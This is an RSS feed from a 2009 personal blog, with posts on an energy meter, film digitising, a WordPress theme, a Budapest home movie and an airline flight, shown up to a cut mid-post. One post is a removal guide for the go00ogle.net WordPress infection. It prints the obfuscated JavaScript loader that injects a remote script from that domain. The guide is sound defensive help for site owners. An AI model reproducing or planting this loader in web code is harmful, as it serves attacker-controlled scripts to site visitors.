<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:georss="http://www.georss.org/georss" xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-4472000937732072079</atom:id><lastBuildDate>Sat, 24 Oct 2009 23:00:25 +0000</lastBuildDate><title>blog.ambor.com</title><description>A personal web project...</description><link>http://blog.ambor.com/</link><managingEditor>noreply@blogger.com (ambanmba)</managingEditor><generator>Blogger</generator><openSearch:totalResults>22</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><itunes:owner><itunes:email>noreply@blogger.com</itunes:email></itunes:owner><itunes:explicit>no</itunes:explicit><itunes:subtitle>A personal web project...</itunes:subtitle><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/ambor" type="application/rss+xml" /><feedburner:browserFriendly></feedburner:browserFriendly><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-6025359525362526063</guid><pubDate>Sat, 17 Oct 2009 05:42:00 +0000</pubDate><atom:updated>2009-10-17T17:02:07.216+11:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><title>Configuring a Cent-a-Meter</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vAHtfRb-ZNo/StlZc6zNCbI/AAAAAAAACbo/iTQe6j8iwYw/s1600-h/Screen+shot+2009-10-17+at+4.41.50+PM.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 180px; height: 200px;" src="http://4.bp.blogspot.com/_vAHtfRb-ZNo/StlZc6zNCbI/AAAAAAAACbo/iTQe6j8iwYw/s400/Screen+shot+2009-10-17+at+4.41.50+PM.png" alt="" id="BLOGGER_PHOTO_ID_5393440382108109234" border="0" /&gt;&lt;/a&gt;I recently got a free &lt;a href="http://www.centameter.com.au/"&gt;Cent-a-Meter&lt;/a&gt; from the City of Sydney as part of their &lt;a href="http://www.cityofsydney.nsw.gov.au/Environment/Overview/HouseholdEnergyCompTrial.asp"&gt;Household Energy Consumption Trial&lt;/a&gt;. It's a great little device that displays instantaneous energy consumption. It's essentially like a little portable electricity meter that gives you a live view of your consumption with various views based on cost / greenhouse gas emissions / raw Wattage / etc.&lt;br /&gt;&lt;br /&gt;The device came pre-configured from the City of Sydney, but when I had to change the time due to the Daylight Savings change, it lost all its settings and then wouldn't let me program any of the settings - they simply wouldn't "save" to memory. Instead it just kept reverting to the default settings. I followed the instructions (&lt;a href="http://search.clipsal.com/clipsal/view.do?view.collection=trade_info&amp;amp;view.title=Installation+Instructions+-+Quick+Start+Cent-a-meter%2C+15468&amp;amp;view.viewType=direct&amp;amp;view.user=%25firstname%25&amp;amp;view.k2DocKey=http%3A%2F%2Fwww.clipsal.com%2Ftrade%2F__data%2Fpage%2F81%2FW0000629.pdf%40trade_info&amp;amp;view.query=cent-a-meter&amp;amp;view.url=http%3A%2F%2Fwww.clipsal.com%2Ftrade%2F__data%2Fpage%2F81%2FW0000629.pdf"&gt;located here&lt;/a&gt;) verbatim, but the settings simply didn't stick.&lt;br /&gt;Annoyed, I kept playing with it until I found a solution. Apparently, it doesn't like it when you change too many settings at one time. Instead, if you change 1 setting at a time, go through the full menu and save, then it will stick. This makes it HIGHLY cumbersome to re-program, hopefully the manufacturer will fix this in future versions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-6025359525362526063?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/10/configuring-cent-meter.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://4.bp.blogspot.com/_vAHtfRb-ZNo/StlZc6zNCbI/AAAAAAAACbo/iTQe6j8iwYw/s72-c/Screen+shot+2009-10-17+at+4.41.50+PM.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-8224985199077891343</guid><pubDate>Fri, 07 Aug 2009 11:59:00 +0000</pubDate><atom:updated>2009-08-07T22:11:07.539+10:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><title>Leopard Free Screen Recorder</title><description>Just found a fantastic (and free) screen recorder for Mac OS X Leopard. Don't know why this thing isn't on the first search page of Google! There are tons of pay options, but this has everything you need (click record, and it records the screen). Like good Mac software, "it just works." Download it here: &lt;a href="http://www.juniortan.com/Public/Berio.html"&gt;http://www.juniortan.com/Public/Berio.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-8224985199077891343?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/08/leopard-free-screen-recorder.html</link><author>noreply@blogger.com (ambanmba)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-3173229602185935684</guid><pubDate>Sun, 26 Jul 2009 03:46:00 +0000</pubDate><atom:updated>2009-08-12T18:18:16.324+10:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><title>How to remove a go00ogle.net infection from your WordPress blog</title><description>An old high-school buddy of mine in Korea was tearing his hair out trying to remove the go00ogle.net malware script that infected his Wordpress blog (&lt;a href="http://www.feetmanseoul.com/"&gt;http://www.feetmanseoul.com/&lt;/a&gt;). It's a nasty little bugger and one that's not obvious to remove. As of this writing, the script is new enough that there aren't any "how to" guides to remove it. Thanks to a rainy afternoon with nothing else on, I've documented the removal process. Hope it helps!&lt;br /&gt;&lt;br /&gt;What you will need:&lt;br /&gt;1. The &lt;a href="http://www.firefox.com/"&gt;Firefox Browser&lt;/a&gt;&lt;br /&gt;2. The &lt;a href="http://adblockplus.org/en/"&gt;AdBlockPlus&lt;/a&gt; plug-in for Firefox&lt;br /&gt;3. A text editor (I used &lt;a href="http://www.barebones.com/products/TextWrangler/"&gt;TextWrangler&lt;/a&gt;)&lt;br /&gt;4. An FTP client (I used &lt;a href="http://fetchsoftworks.com/"&gt;Fetch&lt;/a&gt; because the guy is from &lt;a href="http://www.dartmouth.edu/"&gt;Dartmouth&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vAHtfRb-ZNo/SmvUbqdQNqI/AAAAAAAACPw/6XTCBOQgmZM/s1600-h/Picture+7.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 201px; height: 151px;" src="http://4.bp.blogspot.com/_vAHtfRb-ZNo/SmvUbqdQNqI/AAAAAAAACPw/6XTCBOQgmZM/s200/Picture+7.png" alt="" id="BLOGGER_PHOTO_ID_5362613353033250466" border="0" /&gt;&lt;/a&gt;First, confirm that you are infected. Using Firefox go to the page that you think is infected (in my friend's case it was every single Wordpress page including the Admin Dashboard). Then, using AdblockPlus select "Open blockable items" per the image on the left.&lt;br /&gt;&lt;br /&gt;If you are infected, you will then see &lt;code&gt;http://go00ogle.net/if.php&lt;/code&gt; as one of the scripts (just like in the picture below).  You will probably see a bunch of different scripts compared to the picture depending upon your particular configuration (Wordpress version, Plugins, etc.). You can click on the image to enlarge it.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vAHtfRb-ZNo/SmvZtHCGz3I/AAAAAAAACQY/BhN5tNrBp4E/s1600-h/infected.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 133px;" src="http://4.bp.blogspot.com/_vAHtfRb-ZNo/SmvZtHCGz3I/AAAAAAAACQY/BhN5tNrBp4E/s400/infected.png" alt="" id="BLOGGER_PHOTO_ID_5362619150319931250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Once you've confirmed that you are infected, you will need to find which of your scripts is calling up the malicious script. Because the little evildoers are a bit sophisticated, you won't simply be able to look at the Page Source, instead you'll need to wade through all the other scripts on your page. The easiest way to do this is to load each script by loading the full URL into your browser and searching through it.&lt;br /&gt;&lt;br /&gt;With AdBlockPlus, right-click on each script (except &lt;code&gt;http://go00ogle.net/if.php&lt;/code&gt;), and click &lt;code&gt;&lt;b&gt;Open in New Tab&lt;/b&gt;&lt;/code&gt;. (You can enlarge the picture below for a closer look).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vAHtfRb-ZNo/Smva6zTd4cI/AAAAAAAACQg/GP_7F1qEHzI/s1600-h/Picture+4.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 134px;" src="http://2.bp.blogspot.com/_vAHtfRb-ZNo/Smva6zTd4cI/AAAAAAAACQg/GP_7F1qEHzI/s400/Picture+4.png" alt="" id="BLOGGER_PHOTO_ID_5362620485053833666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You will see a whole lot of what looks like gobbledygook, but what you're looking for is the code below:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="font-size:85%;"&gt;function advQuery(){&lt;br /&gt;  var Host="http://google.com/";Track="/if.php";get=unescape("%6E%65%74");&lt;br /&gt;  document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get));&lt;br /&gt;  document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E"));&lt;br /&gt; };advQuery();&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;In my case it was a bit more nicely formatted as per the picture below (click to enlarge).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SmvcNdIgVuI/AAAAAAAACQo/TQgIRS3f2oo/s1600-h/Picture+5.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 33px;" src="http://3.bp.blogspot.com/_vAHtfRb-ZNo/SmvcNdIgVuI/AAAAAAAACQo/TQgIRS3f2oo/s400/Picture+5.png" alt="" id="BLOGGER_PHOTO_ID_5362621905031419618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;An easy thing for the bad guys to do is to change the code slightly to make these instructions no longer valid - therefore they may change the above text slightly so it's not exactly the same. &lt;b&gt;[Update]: Looks like they've already begun to modify it, see the comment from 12 August below.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;In my case, the infected file was &lt;code&gt;podpress.js&lt;/code&gt;, but this won't always necessarily be the case. Since writing this I've heard of &lt;a href="http://www.konstantin.shemyak.com/blog/2009/06/16/being-web-cracked-experience-and-advice/"&gt;someone else&lt;/a&gt; having their &lt;code&gt;load-scripts.php&lt;/code&gt; file being infected instead. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update&lt;/b&gt; I have now also found it on another site embedded in a theme file (/wp-content/themes/dilectio/dilectio/javascript/tabs.js).&lt;br /&gt;&lt;br /&gt;Per the screen shot of AdblockPlus below, I now know the full path to the infected file (click to enlarge)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vAHtfRb-ZNo/SmvfNsiUZgI/AAAAAAAACQw/V2sgMpG7yMw/s1600-h/Picture+3i.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 133px;" src="http://4.bp.blogspot.com/_vAHtfRb-ZNo/SmvfNsiUZgI/AAAAAAAACQw/V2sgMpG7yMw/s400/Picture+3i.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5362625207701104130" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So then it was just a matter of using my FTP client to download the file, remove the offending bit of code with my text editor, save it and re-upload the file back to the server.&lt;br /&gt;&lt;br /&gt;It's a pretty simple fix once you know what to do... but the discovery process was a bit tougher. Hope this helps.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-3173229602185935684?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/07/how-to-remove-go00oglenet-infection.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://4.bp.blogspot.com/_vAHtfRb-ZNo/SmvUbqdQNqI/AAAAAAAACPw/6XTCBOQgmZM/s72-c/Picture+7.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">11</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-8610941165476183283</guid><pubDate>Sat, 04 Jul 2009 11:20:00 +0000</pubDate><atom:updated>2009-07-28T20:00:13.220+10:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><title>ContempOT - A new Wordpress Theme</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.ambor.com/wordpress/screenshot_main.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 258px; height: 216px;" src="http://www.ambor.com/wordpress/screenshot_main.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www.ambor.com/wordpress/contempot.zip" onclick="javascript: pageTracker._trackPageview('/downloads/contempot.zip'); "&gt;&lt;span style="font-size:130%;"&gt;Click Here to Download&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I've been helping someone move his &lt;a href="http://www.oztorah.com/"&gt;website&lt;/a&gt; from &lt;a href="http://cutephp.com/"&gt;Cutenews&lt;/a&gt; to &lt;a href="http://www.wordpress.org/"&gt;Wordpress&lt;/a&gt;. Wordpress is a great Blogging platform and the guys that created it also have a service called &lt;a href="http://www.wordpress.com/"&gt;Wordpress.com&lt;/a&gt;  whereby they host your site for free; however, you have very little leeway to customise the themes they offer.&lt;br /&gt;&lt;br /&gt;My friend became quite attached to the Contempt Wordpress.com theme which is a variant of &lt;a href="http://www.raven.za.net/wp-themes/contempt-wordpress-theme"&gt;this Contempt Theme&lt;/a&gt;. The available versions of Contempt; however, miss an important feature - the category listing. After messing around for several days, I realised that the only option was to write my own variant with this feature. &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.ambor.com/wordpress/screenshot_archive.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 291px; height: 284px;" src="http://www.ambor.com/wordpress/screenshot_archive.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On the right is a screenshot (click to enlarge) of what the category listing looks like. It's basically a listing of all the articles in a category. With ContempOT you get this type of listing whenever you select a category, author, archive, etc. Without this feature, most themes will give you the full text (or partial text) of each article. This causes a problem when you have hundreds of articles in each category.&lt;br /&gt;&lt;br /&gt;So, if you're interested in trying it out - &lt;a href="http://www.ambor.com/wordpress/contempot.zip" onclick="javascript: pageTracker._trackPageview('/downloads/contempot.zip'); "&gt;You can download the ContempOT theme by clicking here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In case you're wondering how I got the name for the theme, OT are the initials of the site. &lt;a href="http://www.oztorah.com"&gt;If you want to see a live example, click here.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-8610941165476183283?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/07/contempot-new-wordpress-theme.html</link><author>noreply@blogger.com (ambanmba)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><enclosure url="http://www.ambor.com/wordpress/contempot.zip" length="62072" type="application/x-zip-compressed" /><media:content url="http://www.ambor.com/wordpress/contempot.zip" fileSize="62072" type="application/x-zip-compressed" /><itunes:subtitle>Click Here to Download I've been helping someone move his website from Cutenews to Wordpress. Wordpress is a great Blogging platform and the guys that created it also have a service called Wordpress.com whereby they host your site for free; however, you h</itunes:subtitle><itunes:author>noreply@blogger.com (ambanmba)</itunes:author><itunes:summary>Click Here to Download I've been helping someone move his website from Cutenews to Wordpress. Wordpress is a great Blogging platform and the guys that created it also have a service called Wordpress.com whereby they host your site for free; however, you have very little leeway to customise the themes they offer. My friend became quite attached to the Contempt Wordpress.com theme which is a variant of this Contempt Theme. The available versions of Contempt; however, miss an important feature - the category listing. After messing around for several days, I realised that the only option was to write my own variant with this feature. On the right is a screenshot (click to enlarge) of what the category listing looks like. It's basically a listing of all the articles in a category. With ContempOT you get this type of listing whenever you select a category, author, archive, etc. Without this feature, most themes will give you the full text (or partial text) of each article. This causes a problem when you have hundreds of articles in each category. So, if you're interested in trying it out - You can download the ContempOT theme by clicking here. In case you're wondering how I got the name for the theme, OT are the initials of the site. If you want to see a live example, click here.</itunes:summary><itunes:keywords>tech</itunes:keywords></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-8763065499803675413</guid><pubDate>Sat, 20 Jun 2009 08:06:00 +0000</pubDate><atom:updated>2009-06-27T14:01:47.131+10:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">history</category><title>Budapest 1948 - Home Movie</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.youtube.com/watch?v=sc-PE3dEeCY"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 130px;" src="http://4.bp.blogspot.com/_vAHtfRb-ZNo/Sj2E5PzUEmI/AAAAAAAACNQ/u_ujJNL8a2o/s200/ChainBridge48.jpg" alt="" id="BLOGGER_PHOTO_ID_5349578051415183970" border="0" /&gt;&lt;/a&gt;The image to the left is a frame capture from a &lt;a href="http://www.youtube.com/watch?v=sc-PE3dEeCY"&gt;movie I recently uploaded to YouTube (Click Here to View)&lt;/a&gt;. It's been converted from a 1948 film reel shot by my grandfather showing life in and around Budapest shortly after the end of World War II. The image is interesting because it shows the destroyed &lt;a href="http://en.wikipedia.org/wiki/Sz%C3%A9chenyi_L%C3%A1nch%C3%ADd"&gt;Széchenyi Chain Bridge&lt;/a&gt; as seen from a car traversing a temporary bridge over the Danube. Although all of Budapest's bridges were destroyed by the Germans during the &lt;a href="http://en.wikipedia.org/wiki/Battle_of_Budapest"&gt;Siege of Budapest&lt;/a&gt;, the Chain Bridge is one of the city's iconic structures and it's still shocking to see it destroyed.&lt;br /&gt;While on the surface, the people in the film seem to be living relatively normal lives, if you look at the background you can still see a lot of rubble from the war. What you cannot see are the mental scars from the brutality that all of these people would have gone through only a few years earlier.&lt;br /&gt;I cut the nearly 25 minutes of film footage down to about two and a half minutes to show life across four seasons of 1948. The film is set to music from an old 78rpm record sung by my Great Uncle, &lt;a href="http://en.wikipedia.org/wiki/Miklos_Vig"&gt;Miklós Vig&lt;/a&gt;, who unfortunately did not survive the war.&lt;br /&gt;The footage includes the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;View of &lt;a href="http://en.wikipedia.org/wiki/Sz%C3%A9chenyi_L%C3%A1nch%C3%ADd"&gt;Széchenyi Chain Bridge&lt;/a&gt; (0:10)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/International_Workers%27_Day#Hungary"&gt;May Day&lt;/a&gt; Celebration with &lt;a href="http://en.wikipedia.org/wiki/Rakosi"&gt;Rákosi&lt;/a&gt; spelled out by marchers (0:21)&lt;/li&gt;&lt;li&gt;A walk around Pest (near V and VII district?) (0:35)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A boat ride on &lt;a href="http://en.wikipedia.org/wiki/Lake_Balaton"&gt;Lake Balaton&lt;/a&gt; with a view of &lt;a href="http://en.wikipedia.org/wiki/Tihany"&gt;Tihany&lt;/a&gt; &lt;a href="http://tihany.osb.hu/"&gt;Abbey&lt;/a&gt; (1:17)&lt;/li&gt;&lt;li&gt;A zoo (unknown location) (1:31)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A view of &lt;a href="http://hu.wikipedia.org/wiki/Sv%C3%A1bhegy"&gt;Svábhegy&lt;/a&gt; (Schwab Hill) (1:41)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The &lt;a href="http://hu.wikipedia.org/wiki/Gyermekvas%C3%BAt"&gt;Gyermekvasút &lt;/a&gt;(&lt;a href="http://www.gyermekvasut.hu/english.html"&gt;Childrens' Railway&lt;/a&gt;) (1:48)&lt;/li&gt;&lt;li&gt;Ice skating (unknown location) (2:01)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-8763065499803675413?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/06/hungary-1948-home-movie.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://4.bp.blogspot.com/_vAHtfRb-ZNo/Sj2E5PzUEmI/AAAAAAAACNQ/u_ujJNL8a2o/s72-c/ChainBridge48.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-7877253669990112832</guid><pubDate>Sun, 14 Jun 2009 12:38:00 +0000</pubDate><atom:updated>2009-06-20T19:13:33.368+10:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">tech</category><category domain="http://www.blogger.com/atom/ns#">history</category><title>High Quality 8mm Film Conversion</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.youtube.com/watch?v=Wit023qqzjg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 160px; height: 126px;" src="http://1.bp.blogspot.com/_vAHtfRb-ZNo/SjTvcrhsCtI/AAAAAAAACMM/d9e7EhKnDzA/s320/Picture+2.png" alt="" id="BLOGGER_PHOTO_ID_5347161933595019986" border="0" /&gt;&lt;/a&gt;Those of you familiar with Sydney may wonder how I took a picture of the Opera House surrounded by cranes. In fact, this is a screen capture of a &lt;a href="http://www.youtube.com/watch?v=Wit023qqzjg"&gt;film shot in 1969 during my father's visit to Australia&lt;/a&gt; (click for YouTube link).&lt;br /&gt;For the past several years I've been progressively digitising all our family's old media such as slides and VHS tapes. Doing so provides easy access, easy duplication and an archive that will not degrade in quality over time. The entire contents of my "family archives" fits neatly on a 1GB disk.&lt;br /&gt;The biggest challenge in digitising old media is finding the equipment to play it. Fortunately for most media such as VHS tapes, audio casettes, slides and even &lt;a href="http://www.ambor.com/public/78rpm/78rpm.html"&gt;vinyl (or shellac) records&lt;/a&gt;, it's quite easy and inexpensive to convert them at home. For audio sources, you can typically plug the player (e.g. Walkman, record player) into the Audio-In jack on your computer in conjunction with some free software such as &lt;a href="http://audacity.sourceforge.net/"&gt;Audacity&lt;/a&gt;. For the video sources you can use a fairly inexpensive &lt;a href="http://www.google.com.au/search?hl=en&amp;amp;q=usb+video+capture&amp;amp;btnG=Google+Search&amp;amp;meta=&amp;amp;aq=0&amp;amp;oq=usb+video+cap"&gt;video capture card&lt;/a&gt;. For slides, there are several inexpensive &lt;a href="http://www.google.com.au/search?hl=en&amp;amp;q=slide+scanner&amp;amp;btnG=Search&amp;amp;meta="&gt;slide scanners&lt;/a&gt;.&lt;br /&gt;When digitising the media, I highly suggest capturing at the highest quality possible. The price of digital media will only go down which means the cost of storage will go down. Digitising at a lower quality will just mean re-doing all the work later when you realise you'd prefer higher quality.&lt;br /&gt;For the media mentioned above, you can do it yourself or pay someone to do it. There are many services that take old media and convert them. Essentially this is simply a time trade-off since the quality of a "professional" conversion is not materially better than you can do at home. You are just trading off time for money.&lt;br /&gt;When it comes to &lt;a href="http://en.wikipedia.org/wiki/8_mm_film"&gt;8mm&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/Super_8_mm_film"&gt;Super-8&lt;/a&gt; motion picture film the story changes completely. The equipment required to capture the film at high quality is very expensive and would be uneconomic to buy for a conversion of the "family collection." Converting at home usually means projecting the image onto a screen and using a video camera to record the images. The problem is that the frame rate and picture size (aspect ratio) of film is different to modern video and you will be doomed to a poor quality image. The "correct" way to do it is to individually scan each frame and then digitally convert all the frames into a movie. This basically cannot be done at home.&lt;br /&gt;I discovered a place called &lt;a href="http://www.dvdinfinity.com.au/"&gt;DVD Infinity&lt;/a&gt; which has a &lt;a href="http://www.dvdinfinity.com.au/film_to_dvd.htm"&gt;proprietary technology&lt;/a&gt; to transfer the movie frame-by-frame. They are not cheap, but the quality is incredible. As an example, &lt;a href="http://www.youtube.com/watch?v=Wit023qqzjg"&gt;I posted some clips from a reel taken in 1969 from Sydney onto YouTube&lt;/a&gt;. This 40-year-old reel has been stored like most family reels - in a closet, then in a basement. Time hasn't been kind to the colours, but compare this to some of the other 8mm conversions on YouTube to see the quality difference in the DVD Infinity conversion process. Things to notice are: 1) The image is uniformly bright and goes neatly to the edge of the frame with no &lt;a href="http://en.wikipedia.org/wiki/Vignetting"&gt;vigneting&lt;/a&gt;.  2) The image does not flicker. 3) The image does not appear to move forward and backward (due to 'slack' in the projector).&lt;br /&gt;I do not work for DVD Infinity, nor do I personally know the owners, nor do I have any commercial relationship with them - just a very happy customer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4472000937732072079-7877253669990112832?l=blog.ambor.com'/&gt;&lt;/div&gt;</description><link>http://blog.ambor.com/2009/06/high-quality-8mm-film-conversion.html</link><author>noreply@blogger.com (ambanmba)</author><media:thumbnail url="http://1.bp.blogspot.com/_vAHtfRb-ZNo/SjTvcrhsCtI/AAAAAAAACMM/d9e7EhKnDzA/s72-c/Picture+2.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4472000937732072079.post-8457939253779849963</guid><pubDate>Sun, 31 May 2009 06:10:00 +0000</pubDate><atom:updated>2009-06-01T07:20:31.775+10:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">transport</category><title>AirNZ's First 747-400 to be scrapped - My memories of ZK-NBS</title><description>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh6.ggpht.com/_vAHtfRb-ZNo/Sh-hpsgMZdI/AAAAAAAACLM/_1zG9DuPH5U/s720/101-0144_IMG.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 240px; height: 180px;" src="http://lh6.ggpht.com/_vAHtfRb-ZNo/Sh-hpsgMZdI/AAAAAAAACLM/_1zG9DuPH5U/s720/101-0144_IMG.JPG" alt="" border="0" /&gt;&lt;/a&gt;I recently read that &lt;a style="font-weight: bold;" href="http://www.stuff.co.nz/business/industries/2454877/First-747-400-heads-for-wrecker"&gt;Air New Zealand's first Boeing 747-400 (ZK-NBS now 19 years old) will be sent to the scrap yard&lt;/a&gt;. In fact, it is the first 747-400 of any carrier to be 'scrapped' - every other -400 built is either active, stored or has been written off (&lt;a style="font-weight: bold;" href="http://www.airliners.net/uf/view.file?id=536940146&amp;amp;filename=phpL0dXll.jpeg"&gt;like this one&lt;/a&gt;). This marks the beginning of a long sunset for the iconic Boeing 747-400.&lt;br /&gt;I've only had a brief encounter with ZK-NBS, but it was one of my more memorable flights. On July 28, 2001, I left Sydney on a round-the-world ticket headed for Los Angeles and ultimately New York to attend my brother's bachelor party. The plan was then to continue to Atlanta the following week for the wedding and from there to Moscow to attend &lt;a style="font-weight: bold;" href="http://www.airshow.ru/"&gt;MAKC&lt;/a&gt; and then back to Sydney. Settled into my comfy seat, the trip progressed smoothly for the first 8 hours. Then, lightly dozing in my seat, I noticed that we were making a fairly wide left turn. I first thought we were going around some weather but soon I saw &lt;a style="font-weight: bold;" href="http://lh5.ggpht.com/_vAHtfRb-ZNo/SiIjqmPYoZI/AAAAAAAACLQ/0PtRlHB3voc/s720/101-0143_IMG.JPG"&gt;this&lt;/a&gt; on the screen and knew something more complicated was happening. I also noticed the flight attendants walking down the aisles and row-by-row waking people up to tell them something. When they got to me the story was that an engine had to be shut down and that we were diverting to Auckland. The stated reason was that Air NZ had a maintenance facility there (but didn't want to divert to HNL instead?). Then another couple of hours into the flight heading back the wrong direction, I see &lt;a style="font-weight: bold;" href="http://lh6.ggpht.com/_vAHtfRb-ZNo/Sh-hpsgMZdI/AAAAAAAACLM/_1zG9DuPH5U/s720/101-0144_IMG.JPG"&gt;this&lt;/a&gt; on the screen. Several things were going through my head, but one of them was that AKL was no longer our final destination. The captain then came on and said that due to the strong headwinds we would no longer have enough fuel to make it to Auckland (nor back to Sydney). So, off we went to Nandi, Fiji (NAN) - landing there after nearly 14 hours of flight time (in 14 hours we could have made it to LAX in the first place!!). The landing was smooth as silk and gave no hint of being done on 3 engines. We were greeted by Fijian customs who set up 2 lanes for "Fiji Citizens" and 2 lanes for "Crew/Other". As there were no Fiji Citizens on board, 2 of the customs guys had 